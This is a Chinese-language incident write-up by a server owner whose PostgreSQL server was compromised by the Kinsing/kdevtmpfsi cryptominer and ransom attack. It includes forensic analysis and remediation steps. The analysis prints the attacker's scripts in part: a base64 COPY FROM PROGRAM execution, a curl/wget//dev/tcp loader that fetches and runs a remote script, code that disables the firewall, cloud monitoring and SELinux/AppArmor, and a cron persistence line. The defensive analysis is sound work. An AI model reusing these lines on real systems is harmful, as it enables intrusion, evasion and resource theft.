文章原文:https://owo.cab/217 ,同步發表在 xLog
異常發現#
11 月 8 日下午,有小夥伴告訴我某服務異常,表現為後端程序報錯與 PostgreSQL 查詢相關。由於使用了 CDN 且僅配置了 HTTP 服務監控告警,因此並未在第一時間收到異常告警。
通過 SSH 連接伺服器,使用 htop 命令查看正在運行的所有進程,發現 /tmp/kdevtmpfsi 進程高佔用,運行用戶為 postgres。
嘗試結束該可疑進程,發現該程序會在 1 分鐘內再次啟動,猜測配置了定時任務或存在守護程序。
在雲計算平台查看資源監視,該病毒於 UTC 11-7 16:15(北京時間 11-8 0:15)左右開始運行。
由於該病毒佔用資源過多造成伺服器性能下降,且位於 /tmp 目錄下,因此對伺服器進行重啟以臨時緩解。
重啟伺服器後連接 PostgreSQL 資料庫發現所有的數據已被刪除,同時入侵者創建了一個名為 readme_to_recover 的資料庫,內容如下:
很明顯,伺服器受到了勒索,入侵者針對 PostgreSQL 資料庫實施入侵行為,同時利用伺服器資源進行挖礦,造成伺服器卡頓和服務崩潰。
入侵者的網站已在
archive.org存檔,鏈接https://web.archive.org/web/20251108155042/https://2info.win/psg/,請謹慎訪問
從伺服器創建到被侵入僅 8 小時,好在還在部署階段,沒有重要數據(離譜
復盤與分析#
本節列出的所有命令與腳本請勿運行,部分數據已進行脫敏處理
先貼一下事故伺服器的情況:
- Ubuntu 24.04 LTS,運行在 Oracle Cloud
- 僅允許 SSH 密鑰登錄
- 端口全開
- 安裝了寶塔面板,PostgreSQL 使用寶塔安裝
- PostgreSQL 允許所有地址使用密碼連接,且未對 PG 的登錄配置日誌
不難看出這起事故的導火索(因為還在部署階段就沒太注意,我反思)
進程#
病毒的二進制文件在重啟後已被臨時清除,為了弄清病毒的入侵和運作方式,我並沒有對伺服器進行任何操作和加固,而是維持原樣運行,等待病毒再次出現。
不出意外,在 11 月 9 日的 0:14 左右,伺服器 CPU 占用再次來到了 100%。
查看 /tmp 目錄,存在兩個二進制文件,如下:
兩個程序的所有者均為 postgres,其中 kdevtmpfsi 權限 700,創建時間 UTC 16:14;kinsing 權限 777 ,創建時間 UTC 16:11,略早於 kdevtmpfsi。
同時,我下載了一份病毒樣本備用:
使用 ps -ef 命令查找兩個進程,如下:
從進程信息來看,kdevtmpfsi 的運行時間在增長(從 06:25:29 變為 06:26:17),而 kinsing 的運行時間在一段時間內幾乎保持不變(為 00:00:04),二者的 PPID 均為 1。
稍微熟悉 Linux 的小夥伴不難看出,kdevtmpfsi 持續佔用 CPU 時間,為挖礦主程序;kinsing 佔用 CPU 時間較少,為 kdevtmpfsi 的守護程序。同時,父進程 ID 為 1 说明二者原始父進程已經終止,轉為孤兒進程,由 systemd 進程接管。
但不管怎麼說,systemctl 又不是擺設,直接通過 sudo systemctl status <pid> 來查看啟動鏈:
怎麼和 postgres 進程一起啟動了,再看看。
使用 sudo crontab -u postgres -l 命令查看 postgres 用戶的定時任務:
該定時任務設置為每分鐘執行一次,使用 wget 工具在靜默模式(-q)下載至標準輸出(-O -),並通過管道(|)傳遞給 sh 直接運行,將腳本的運行輸出和系統郵件丟棄(> /dev/null 2>&1),以此實現執行信息的隱藏。
在 syslog 中查找相關進程的調用記錄,只能找到定時任務相關的記錄。
但當我嘗試訪問該網址時出現 502 錯誤,只好暫時放棄。
入侵方式#
使用 sudo last postgres 命令查看 postgres 用戶的登錄情況,發現輸出為空,說明不是通過 postgres 系統用戶的弱口令入侵的。同時,運行在 postgres 用戶的服務只有 PostgreSQL。
只有一種可能了。
從 /www/server/pgsql/logs 目錄找到了 PostgreSQL 的執行日誌,在日誌中發現了異常。
這份雖不完整的日誌反映了伺服器被入侵的全过程,可以將入侵者的操作分為 5 個步驟:
-
服務探測
入侵者配置了自動工具,對某一特定 IP 段的伺服器端口使用
nmap工具進行掃描,查找符合5432端口開放的伺服器,並嘗試使用空憑證連接,確認5432端口上運行的是 PostgreSQL; -
成功入侵
入侵者通過爆破弱口令密碼 / 無密碼成功連接後,通過嘗試訪問不存在的資料庫
bbbbbbb和執行大量的SELECT VERSION();來確保已經完成登錄,並收集資料庫信息以查找漏洞; -
破壞資料庫
入侵者先列出所有資料庫,再依次通過
information_schema.tables獲取表。對於每張表先從information_schema.columns獲取列數,再使用SELECT * FROM ... LIMIT 50來讀取表數據,讀取後通過DROP TABLE IF EXISTS ... CASCADE徹底刪除表信息,最終刪除原有資料庫並寫入勒索信息; -
提權
入侵者創建了一個
pgg_superadmins的超級管理員,隨後嘗試ALTER USER postgres WITH NOSUPERUSER命令來撤銷postgres用戶的超級管理員權限,但因為postgres為資料庫的初始化用戶而被阻止; -
植入病毒
PostgreSQL 的
COPY ... FROM PROGRAM命令允許讀取系統命令輸出到表中,因此被入侵者用於執行腳本。DROP TABLE IF EXISTS bwyeLzCF; CREATE TABLE bwyeLzCF(cmd_output text); COPY bwyeLzCF FROM PROGRAM 'echo ... | base64 -d | bash'; SELECT * FROM bwyeLzCF; DROP TABLE IF EXISTS bwyeLzCF;入侵者使用新建的
pgg_superadmins創建了一個臨時表bwyeLzCF,表中僅有cmd_output一個類型為text的字段,用於承載腳本的輸出。echo ... | base64 -d | bash將 Base64 編碼的腳本解碼後立即運行,運行成功後刪除表bwyeLzCF毀滅痕跡。
對於核心腳本,Base64 解密後得到如下內容:
#!/bin/bash
pkill -f zsvc
pkill -f pdefenderd
pkill -f updatecheckerd
function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}
if [ -x "$(command -v curl)" ]; then
curl .../pg.sh|bash
elif [ -x "$(command -v wget)" ]; then
wget -q -O- .../pg.sh|bash
else
__curl http://.../pg2.sh|bash
fi
這段腳本在運行時會先通過 pkill 命令終止競爭程序,隨後下載並運行腳本。入侵者為了能在缺失 curl 和 wget 的環境中運行,甚至在 __curl 函數中直接通過 TCP 協議發送 HTTP 請求。
腳本分析#
由於該腳本過長且具有風險性,在這裡僅對部分片段進行分析。
-
入侵準備
# 關閉防火牆 ufw disable iptables -F # 移除 root 用戶的 SSH 密鑰屬性 chattr -iae /root/.ssh/ chattr -iae /root/.ssh/authorized_keys # 結束符合條件的進程(注意這裡 postgres 的 o) for filename in /proc/*; do ex=$(ls -latrh $filename 2> /dev/null|grep exe) if echo $ex |grep -q "/tmp/.perf.c\|/var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew"; then result=$(echo "$filename" | sed "s/\/proc\///") kill -9 $result echo found $filename $result fi if echo $ex |grep -q "/usr/local/bin/postgres"; then cw=$(ls -latrh $filename 2> /dev/null|grep cwd) if echo $cw |grep -q "/tmp"; then result=$(echo "$filename" | sed "s/\/proc\///") kill -9 $result echo foundp $filename $result fi fi done # 針對性卸載阿里雲與騰訊雲監控 if ps aux | grep -i '[a]liyun'; then curl http://update.aegis.aliyun.com/download/uninstall.sh | bash curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash pkill aliyun-service rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service rm -rf /usr/local/aegis* systemctl stop aliyun.service systemctl disable aliyun.service service bcm-agent stop yum remove bcm-agent -y apt-get remove bcm-agent -y elif ps aux | grep -i '[y]unjing'; then /usr/local/qcloud/stargate/admin/uninstall.sh /usr/local/qcloud/YunJing/uninst.sh /usr/local/qcloud/monitor/barad/admin/uninstall.sh fi # 關閉內核硬件監控 NMI Watchdog sudo sysctl kernel.nmi_watchdog=0 echo '0' >/proc/sys/kernel/nmi_watchdog echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf # 按網絡連接結束符合條件的進程(或其他挖礦程序) netstat -anp | grep ... | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % pkill -f ... # 按特徵進程結束符合條件的進程(或其他挖礦程序) ps aux | grep -v grep | grep ... | awk '{print $2}' | xargs -I % kill -9 % pgrep -f ... | xargs -I % kill -9 % # 刪除其他挖礦程序 rm -rf ... # 移除 Docker 中存在其他挖礦程序的容器和鏡像 docker ps | grep ... | awk '{print $1}' | xargs -I % docker kill % docker images -a | grep ... | awk '{print $3}' | xargs -I % docker rmi -f % # 禁用系統安全機制 setenforce 0 echo SELINUX=disabled >/etc/selinux/config service apparmor stop systemctl disable apparmor腳本先關閉防火牆,隨後卸載雲監控軟件以防止被發現,移除競爭程序避免與
kdevtmpfsi抢占資源,最終禁用 SELinux 和 AppArmor 安全機制。 -
加載挖礦程序
# 針對不同架構下載對應的程序 BIN_MD5="b3039abf2ad5202f4a9363b418002351" BIN_DOWNLOAD_URL="http://.../kinsing" BIN_DOWNLOAD_URL2="http://.../kinsing" BIN_NAME="kinsing" arch=$(uname -i) if [ $arch = aarch64 ]; then BIN_MD5="da753ebcfe793614129fc11890acedbc" BIN_DOWNLOAD_URL="http://.../kinsing_aarch64" BIN_DOWNLOAD_URL2="http://.../kinsing_aarch64" echo "arm executed" fi在下載前根據架構選擇了對應的二進制下載地址,同時根據如下優先級確定了下載位置(該部分代碼已省略):
-
/etc,該目錄需要 root 權限 -
/tmp -
/var/tmp -
創建臨時目錄
mktemp -d -
/dev/shm
# 用於校驗 MD5 的函數 checkExists() { CHECK_PATH=$1 MD5=$2 sum=$(md5sum $CHECK_PATH | awk '{ print $1 }') retval="" if [ "$MD5" = "$sum" ]; then echo >&2 "$CHECK_PATH is $MD5" retval="true" else echo >&2 "$CHECK_PATH is not $MD5, actual $sum" retval="false" fi echo "$retval" } # 用於下載的函數 download() { DOWNLOAD_PATH=$1 DOWNLOAD_URL=$2 if [ -L $DOWNLOAD_PATH ] then rm -rf $DOWNLOAD_PATH fi chmod 777 $DOWNLOAD_PATH $WGET $DOWNLOAD_PATH $DOWNLOAD_URL chmod +x $DOWNLOAD_PATH } # 檢查文件是否存在,不存在則下載 binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5") if [ "$binExists" = "true" ]; then echo "$BIN_FULL_PATH exists and checked" else echo "$BIN_FULL_PATH not exists" rm -rf $BIN_FULL_PATH download $BIN_FULL_PATH $BIN_DOWNLOAD_URL binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5") if [ "$binExists" = "true" ]; then echo "$BIN_FULL_PATH after download exists and checked" else echo "$BIN_FULL_PATH after download not exists" download $BIN_FULL_PATH $BIN_DOWNLOAD_URL2 binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5") if [ "$binExists" = "true" ]; then echo "$BIN_FULL_PATH after download2 exists and checked" else echo "$BIN_FULL_PATH after download2 not exists" fi fi fi -
-
運行和持久化
chmod 777 $BIN_FULL_PATH chmod +x $BIN_FULL_PATH SKL=pg $BIN_FULL_PATH crontab -l | sed '/#wget/d' | crontab - crontab -l | sed '/#curl/d' | crontab - crontab -l | grep -e "..." | grep -v grep if [ $? -eq 0 ]; then echo "cron good" else ( crontab -l 2>/dev/null echo "* * * * * $LDR http://.../pg.sh | sh > /dev/null 2>&1" ) | crontab - fi先給目標二進制文件(
$BIN_FULL_PATH)賦予最高權限,確保可以被運行,隨後向定時任務中加入一條每分鐘執行一次的命令,以此完成持久化,這也是上文看到的加載在postgres用戶的那條定時任務。
二進制分析#
程序特徵#
使用 Radare2 查看二進制文件原始信息,結果如下:
| 特徵 | kdevtmpfsi | kinsing |
|---|---|---|
| 架構(arch) | ARM aarch64 | ARM aarch64 |
| 二進制類型(bintype) | ELF | ELF |
| 大小(binsz) | ~2.4MB | ~6MB |
| 開發語言(lang) | C | Go |
| 靜態鏈接(static) | 是 | 是 |
| 符號表(stripped) | 已剝離 | 已剝離 |
| 保護機制 | NX 啟用,無 RELRO、Canary | 同左 |
使用 WinHex 查看 kdevtmpfsi 文件,不難找出 UPX 的特徵
使用 UPX 脫殼後再次查看,結果如下:
與脫殼前不同,出現了如下內容:
compiler GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0
relro: no -> partial
kdevtmpfsi#
通過查找關鍵字符串 http 快速定位到門羅幣相關內容:
[0x00402e00]> izz | grep -i "http"
18331 0x003e2b60 0x007e2b60 4 5 .rodata ascii http
18398 0x003e30f0 0x007e30f0 83 84 .rodata ascii -a, --algo=ALGO mining algorithm https://xmrig.com/docs/algorithms\n
18835 0x003efcb8 0x007efcb8 58 59 .rodata ascii no valid configuration found, try https://xmrig.com/wizard
20113 0x003fa478 0x007fa478 19 20 .rodata ascii https proxy request
20114 0x003fa490 0x007fa490 12 13 .rodata ascii http request
23162 0x00414058 0x00814058 5 6 .rodata ascii https
25219 0x0042ed70 0x0082ed70 16 17 .rodata ascii parse_http_line1
25224 0x0042edf0 0x0082edf0 16 17 .rodata ascii %s %s HTTP/1.0\r\n
29745 0x004511b0 0x008511b0 104 105 .rodata ascii not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/):\n
30005 0x00453698 0x00853698 437 438 .rodata ascii GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.\nCopyright (C) 2022 Free Software Foundation, Inc.\nThis is free software; see the source for copying conditions.\nThere is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A\nPARTICULAR PURPOSE.\nCompiled by GNU CC version 11.2.0.\nlibc ABIs: UNIQUE ABSOLUTE\nFor bug reporting instructions, please see:\n<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.\n
30991 0x0045dbd8 0x0085dbd8 120 121 .rodata ascii TLS generation counter wrapped! Please report as described in <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.\n
隨後查找 monero\|xmr:
[0x00402e00]> izz | grep -i "monero\|xmr"
18114 0x003e1180 0x007e1180 20 21 .rodata ascii cryptonight-monerov7
18117 0x003e11b8 0x007e11b8 20 21 .rodata ascii cryptonight-monerov8
18173 0x003e1547 0x007e1547 4 5 .rodata ascii lXMR
18174 0x003e1550 0x007e1550 6 7 .rodata ascii Monero
18187 0x003e1600 0x007e1600 27 28 .rodata ascii \e[43;1m\e[1;37m monero \e[0m
18310 0x003e27e0 0x007e27e0 415 416 .rodata ascii \n{\n "background": true,\n "donate-level": 0,\n "cpu": true,\n "colors": false,\n "opencl": false,\n "pools": [\n {\n "coin": "monero",\n "algo": null,\n "url": "xmr-eu1.nanopool.org",\n "user": "4...b",\n "pass": "mine",\n "tls": false,\n "keepalive": true,\n "nicehash": false\n }\n ]\n}\n
18315 0x003e2a08 0x007e2a08 5 6 .rodata ascii XMRig
18391 0x003e3030 0x007e3030 12 13 .rodata ascii XMRig 6.16.4
18396 0x003e3090 0x007e3090 33 34 .rodata ascii Usage: xmrig [OPTIONS]\n\nNetwork:\n
18398 0x003e30f0 0x007e30f0 83 84 .rodata ascii -a, --algo=ALGO mining algorithm https://xmrig.com/docs/algorithms\n
18415 0x003e3658 0x007e3658 72 73 .rodata ascii --donate-over-proxy=N control donate over xmrig-proxy feature\n
18460 0x003e4380 0x007e4380 43 44 .rodata ascii XMRig 6.16.4\n built on Jul 30 2023 with GCC
18597 0x003e5be8 0x007e5be8 34 35 .rodata ascii stratum+tcp://xmr-eu1.nanopool.org
18835 0x003efcb8 0x007efcb8 58 59 .rodata ascii no valid configuration found, try https://xmrig.com/wizard
18860 0x003f01b8 0x007f01b8 20 21 .rodata ascii donate.ssl.xmrig.com
18861 0x003f01d0 0x007f01d0 19 20 .rodata ascii donate.v2.xmrig.com
19355 0x003f4d70 0x007f4d70 5 6 .rodata ascii xmrig
該程序連接地址為 xmr-eu1.nanopool.org 的礦池,收益地址為 4...b。
kinsing#
接下來,我們來看看 kinsing 這個 Go 語言程序是如何實現進程守護的。
在 IDA 中先查找與 kdevtmpfsi 相關的字符串,但無法找到相關引用。
再查找與命令執行相關的函數:
[0x000789e0]> iz | grep -E "process|pid|exec|kill"
75 0x002a074c 0x002b074c 4 5 .rodata ascii Ppid
199 0x002a0a34 0x002b0a34 4 5 .rodata ascii kill
887 0x002a23d1 0x002b23d1 8 9 .rodata ascii \aos/exec
1086 0x002a2afa 0x002b2afa 8 9 .rodata ascii \aexecute
1608 0x002a3ef1 0x002b3ef1 10 11 .rodata ascii \t*exec.Cmd
2379 0x002a6201 0x002b6201 12 13 .rodata ascii \v*exec.Error
2873 0x002a7bf9 0x002b7bf9 13 14 .rodata ascii \fprocessFlags
3307 0x002a9902 0x002b9902 14 15 .rodata ascii Pid\njson:"pid"
3424 0x002aa07c 0x002ba07c 15 16 .rodata ascii *exec.ExitError
3523 0x002aa70f 0x002ba70f 15 16 .rodata ascii PpidWithContext
3675 0x002ab16c 0x002bb16c 16 17 .rodata ascii *process.Process
4588 0x002afaca 0x002bfaca 22 23 .rodata ascii *process.OpenFilesStat
4631 0x002afe42 0x002bfe42 22 23 .rodata ascii processCertsFromClient
4656 0x002b00b8 0x002c00b8 23 24 .rodata ascii *exec.prefixSuffixSaver
4680 0x002b0310 0x002c0310 23 24 .rodata ascii *process.MemoryInfoStat
4681 0x002b0329 0x002c0329 23 24 .rodata ascii *process.PageFaultsStat
4682 0x002b0342 0x002c0342 23 24 .rodata ascii *process.SignalInfoStat
4787 0x002b0d4e 0x002c0d4e 24 25 .rodata ascii processClientKeyExchange
4788 0x002b0d68 0x002c0d68 24 25 .rodata ascii processServerKeyExchange
4942 0x002b1d47 0x002c1d47 28 29 .rodata ascii \e*process.NumCtxSwitchesStat
5168 0x002b36f9 0x002c36f9 35 36 .rodata ascii "github.com/shirou/gopsutil/process
5233 0x002b4057 0x002c4057 22 23 .rodata ascii json:"pending_process"
5340 0x002b522a 0x002c522a 48 49 .rodata ascii /*struct { F uintptr; pw *os.File; c *exec.Cmd }
...
其中 exec.Cmd 是 Go 執行命令調用的函數,而 github.com/shirou/gopsutil 是 Python 中 psutil 的 Go 語言實現,用於獲取系統信息,由此判斷 kinsing 可能存在執行系統命令的行為。
emm... 似乎弄複雜了,我們來看看有沒有簡單一些的方法。
我先將 kinsing 放在 ~/ 目錄下,在 ubuntu 用戶下使用 strace 對 kinsing 及其子進程進行跟蹤:
strace -f -e execve,kill,open,read,nanosleep -o log.txt ./kinsing
在一個新的終端中結束 kdevtmpfsi,等待 kinsing 將其再次啟動:
pkill -f kdevtmpfsi
kdevtmpfsi 再次啟動時結束 strace 跟蹤,並在日誌中查找 kinsing 執行的相關命令:
$ cat log.txt | grep -E "kdevtmpfsi|execve|kill"
66871 execve("./kinsing", ["./kinsing"], 0xffffee10cf68 /* 22 vars */) = 0
66875 execve("./kinsing", ["./kinsing"], 0x40001f8240 /* 23 vars */) = 0
66879 <... read resumed>"Name:\tkinsing\nUmask:\t0002\nState:"..., 4096) = 1187
66879 read(7, "8323 (kinsing) S 1 4560 4560 0 -"..., 512) = 205
66879 read(7, "8816 (kdevtmpfsi) S 1 8816 8816 "..., 512) = 195
67160 execve("/usr/bin/sh", ["sh", "-c", "pkill -f kdevtmpfsi"], 0x40002783c0 /* 23 vars */) = 0
67160 execve("/usr/bin/pkill", ["pkill", "-f", "kdevtmpfsi"], 0xb925af1d5e80 /* 23 vars */) = 0
67160 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67160 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67160 read(5, "67125 (kdevtmpfsi) S 1 67125 671"..., 2048) = 183
67160 read(5, "Name:\tkdevtmpfsi\nUmask:\t0077\nSta"..., 2048) = 1170
67160 read(5, "/tmp/kdevtmpfsi\0", 131072) = 16
67160 read(5, "67160 (pkill) R 66875 66868 6558"..., 2048) = 319
67160 read(5, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 2048) = 1190
67160 read(5, "pkill\0-f\0kdevtmpfsi\0", 131072) = 20
66878 read(10, "pkill: killing pid 67125 failed:"..., 32768) = 56
66878 read(7, "8323 (kinsing) S 1 4560 4560 0 -"..., 512) = 205
66878 read(7, "67125 (kdevtmpfsi) S 1 67125 671"..., 512) = 183
67405 execve("/usr/bin/sh", ["sh", "-c", "pkill -f kdevtmpfsi"], 0x40002946c0 /* 23 vars */ <unfinished ...>
67405 <... execve resumed>) = 0
67405 execve("/usr/bin/pkill", ["pkill", "-f", "kdevtmpfsi"], 0xbf12fcc0ee80 /* 23 vars */ <unfinished ...>
67405 <... execve resumed>) = 0
67405 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67405 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67405 read(5, "8323 (kinsing) S 1 4560 4560 0 -"..., 2048) = 205
67405 read(5, "67125 (kdevtmpfsi) S 1 67125 671"..., 2048) = 183
67405 read(5, "Name:\tkdevtmpfsi\nUmask:\t0077\nSta"..., 2048) = 1171
67405 read(5, "/tmp/kdevtmpfsi\0", 131072) = 16
67405 read(5, "67405 (pkill) R 66875 66868 6558"..., 2048) = 319
67405 read(5, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 2048) = 1190
67405 read(5, "pkill\0-f\0kdevtmpfsi\0", 131072) = 20
67405 kill(67125, SIGTERM) = -1 EPERM (Operation not permitted)
66878 read(10, "pkill: killing pid 67125 failed:"..., 32768) = 56
67408 execve("/usr/bin/sh", ["sh", "-c", "chmod +x /tmp/kdevtmpfsi33550091"...], 0x40002786c0 /* 23 vars */ <unfinished ...>
67408 <... execve resumed>) = 0
67408 execve("/usr/bin/chmod", ["chmod", "+x", "/tmp/kdevtmpfsi3355009150"], 0xb1ef30c68e90 /* 23 vars */) = 0
67409 execve("/usr/bin/sh", ["sh", "-c", "/tmp/kdevtmpfsi3355009150 &"], 0x4000278cc0 /* 23 vars */ <unfinished ...>
67409 <... execve resumed>) = 0
67410 execve("/tmp/kdevtmpfsi3355009150", ["/tmp/kdevtmpfsi3355009150"], 0xbf99e2dd4e90 /* 23 vars */ <unfinished ...>
67410 <... execve resumed>) = 0
66883 read(8, "67411 (kdevtmpfsi33550) S 1 6741"..., 512) = 287
66883 read(8, "Name:\tkdevtmpfsi33550\nUmask:\t000"..., 512) = 512
66883 read(8, "/tmp/kdevtmpfsi3355009150\0", 512) = 26
67416 +++ killed by SIGKILL +++
67415 +++ killed by SIGKILL +++
67414 +++ killed by SIGKILL +++
那麼這個 /tmp/kdevtmpfsi3355009150 是怎麼出現的呢,在日誌中查找 http 連接相關信息:
$ cat log.txt | grep -E "http"
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 72
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 60
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 72
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 60
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
此時,kinsing 的邏輯已經水落石出,它的監控邏輯由四部分組成:
- 監控進程:通過
read讀取進程信息,檢測kdevtmpfsi是否存在; - 結束已存在的進程:通過
sh -c "pkill -f kdevtmpfsi"命令,嘗試結束已存在的kdevtmpfsi進程; - 下載挖礦程序:若
kdevtmpfsi不存在,則執行前文出現的初始化腳本下載挖礦程序到/tmp目錄下,這裡kdevtmpfsi帶隨機數後綴是因為目錄下已存在不可讀寫的同名文件; - 啟動挖礦程序:通過
sh -c "/tmp/kdevtmpfsiXXXX &"命令靜默式啟動挖礦程序。
回到 IDA 中,再次進行相關查找,發現先前被忽略掉的 /var/tmp/kdevtmpfsi 字符串在 main.minerRunningCheck 被引用:
main.minerRunningCheck 函數存在自身循環,那麼基本上可以確定該函數就是進程守護的主要邏輯。
對該函數展開分析,發現該函數除自身循環外,還調用了 main.getMinerPid、main.isMinerRunning、main.minRun 等函數:
在 main.minRun 中找到了 strace 日誌中出現的內容:
也發現 kinsing 內置了一個下載運行工具:
一切都理清了。
解決方案#
被刪除的資料庫無法恢復,只能通過備份還原
基於對入侵流程的復盤,我總結出如下解決方案:
請在執行前建立系統快照
-
刪除可疑定時任務
臨時禁用定時任務以防止二次感染:
sudo systemctl stop cron sudo systemctl stop crond sudo service cron stop sudo service crond stop編輯
postgres用戶的定時任務:sudo crontab -u postgres -e隨後再次查看定時任務,確保可疑項已被清除:
sudo crontab -u postgres -l -
取消病毒文件的讀寫和執行權限
sudo chmod 000 /tmp/kdevtmpfsi /tmp/kinsing -
終止相應進程
sudo pkill -9 -f kinsing sudo pkill -9 -f kdevtmpfsi -
刪除病毒文件
全盤查找文件名包含
kinsing和kdevtmpfsi的文件並刪除sudo find / -name "*kdevtmpfsi*" -delete sudo find / -name "*kinsing*" -delete -
刪除可疑 PostgreSQL 用戶
使用管理員用戶登錄資料庫:
sudo psql -U postgres隨後執行以下 SQL 語句:
# 查找 pgg_superadmins 是否存在 SELECT usename FROM pg_user WHERE usename='pgg_superadmins'; # 移除權限 REVOKE ALL PRIVILEGES ON ALL TABLES IN SCHEMA public FROM pgg_superadmins; REVOKE ALL PRIVILEGES ON ALL SEQUENCES IN SCHEMA public FROM pgg_superadmins; REVOKE ALL PRIVILEGES ON ALL FUNCTIONS IN SCHEMA public FROM pgg_superadmins; # 移除用戶 REASSIGN OWNED BY pgg_superadmins TO postgres; DROP OWNED BY pgg_superadmins; DROP ROLE pgg_superadmins; # 為 postgres 賦予超級用戶 ALTER USER postgres WITH SUPERUSER; -
重啟伺服器
sudo reboot -
恢復屬性保護
sudo chattr +i /etc/passwd sudo chattr +i /etc/shadow sudo chattr +i /etc/group sudo chattr +i /etc/gshadow sudo chattr +i /etc/ssh/sshd_config sudo chattr +i /root/.ssh/authorized_keys -
加固 PostgreSQL
查找
postgresql.conf是否存在如下項:listen_addresses = '*'查找
pg_hba.conf是否存在如下項:host all all 0.0.0.0/0 md5 host all all ::0/0 md5 host all all 0.0.0.0/0 trust host all all ::0/0 trust如有,應立即修改或刪除。例如僅允許 Docker 容器連接:
host all all 172.17.0.0/16 md5 -
加固伺服器
對
/tmp目錄進行加固:sudo mount -o remount,noexec,nosuid,nodev /tmp建立防火牆規則(根據實際需求修改):
# 允許已建立的連接 sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT # 允許本地回環 sudo iptables -A INPUT -i lo -j ACCEPT # 允許SSH sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT # 保存並生效 sudo service iptables save sudo systemctl enable iptables恢復 SELinux 或 AppArmor
# 對 SELinux 系統(CentOS/RHEL) sudo sed -i 's/SELINUX=disabled/SELINUX=permissive/' /etc/selinux/config # 對 AppArmor 系統(Ubuntu/Debian) sudo systemctl enable apparmor sudo systemctl start apparmor sudo systemctl reload apparmor -
重啟,再次觀察驗證
sudo reboot
需注意,該解決方法只適用於臨時處理和加固,建議儘快對數據和服務進行遷移重建。同時做好伺服器日常維護和監控,避免敏感服務端口直接暴露於公網,不要在 SSH 和資料庫使用弱口令密碼。在保證服務正常運行的情況下,將賬號權限收縮到最小。